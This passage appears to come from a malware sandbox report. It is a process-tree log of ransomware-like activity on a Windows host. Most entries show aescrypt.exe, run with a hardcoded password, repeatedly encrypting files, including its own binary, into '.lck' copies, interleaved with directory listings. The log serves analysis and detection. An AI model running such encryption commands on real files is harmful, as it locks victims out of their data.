                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:7056
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck" "aescrypt.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7096
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck" "aescrypt.exe.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:7116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck" "aescrypt.exe.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4724
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck.lck" "aescrypt.exe.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:7144
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck.lck.lck" "aescrypt.exe.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck" "DiscordSendWebhook.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck" "DiscordSendWebhook.exe.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6208
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6224
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6264
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6316
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck" "aescrypt.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6340
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck" "aescrypt.exe.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6364
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck" "aescrypt.exe.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck.lck" "aescrypt.exe.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6424
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck.lck.lck" "aescrypt.exe.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck.lck.lck.lck" "aescrypt.exe.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6480
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck" "DiscordSendWebhook.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6496
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck" "DiscordSendWebhook.exe.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6576
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3032
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6592
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6616
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DiscordSendWebhook.exe.lck.lck.lck.lck.lck.lck" "DiscordSendWebhook.exe.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6640
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6676
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck" "aescrypt.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6692
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck" "aescrypt.exe.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6788
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aescrypt.exe.lck.lck.lck" "aescrypt.exe.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
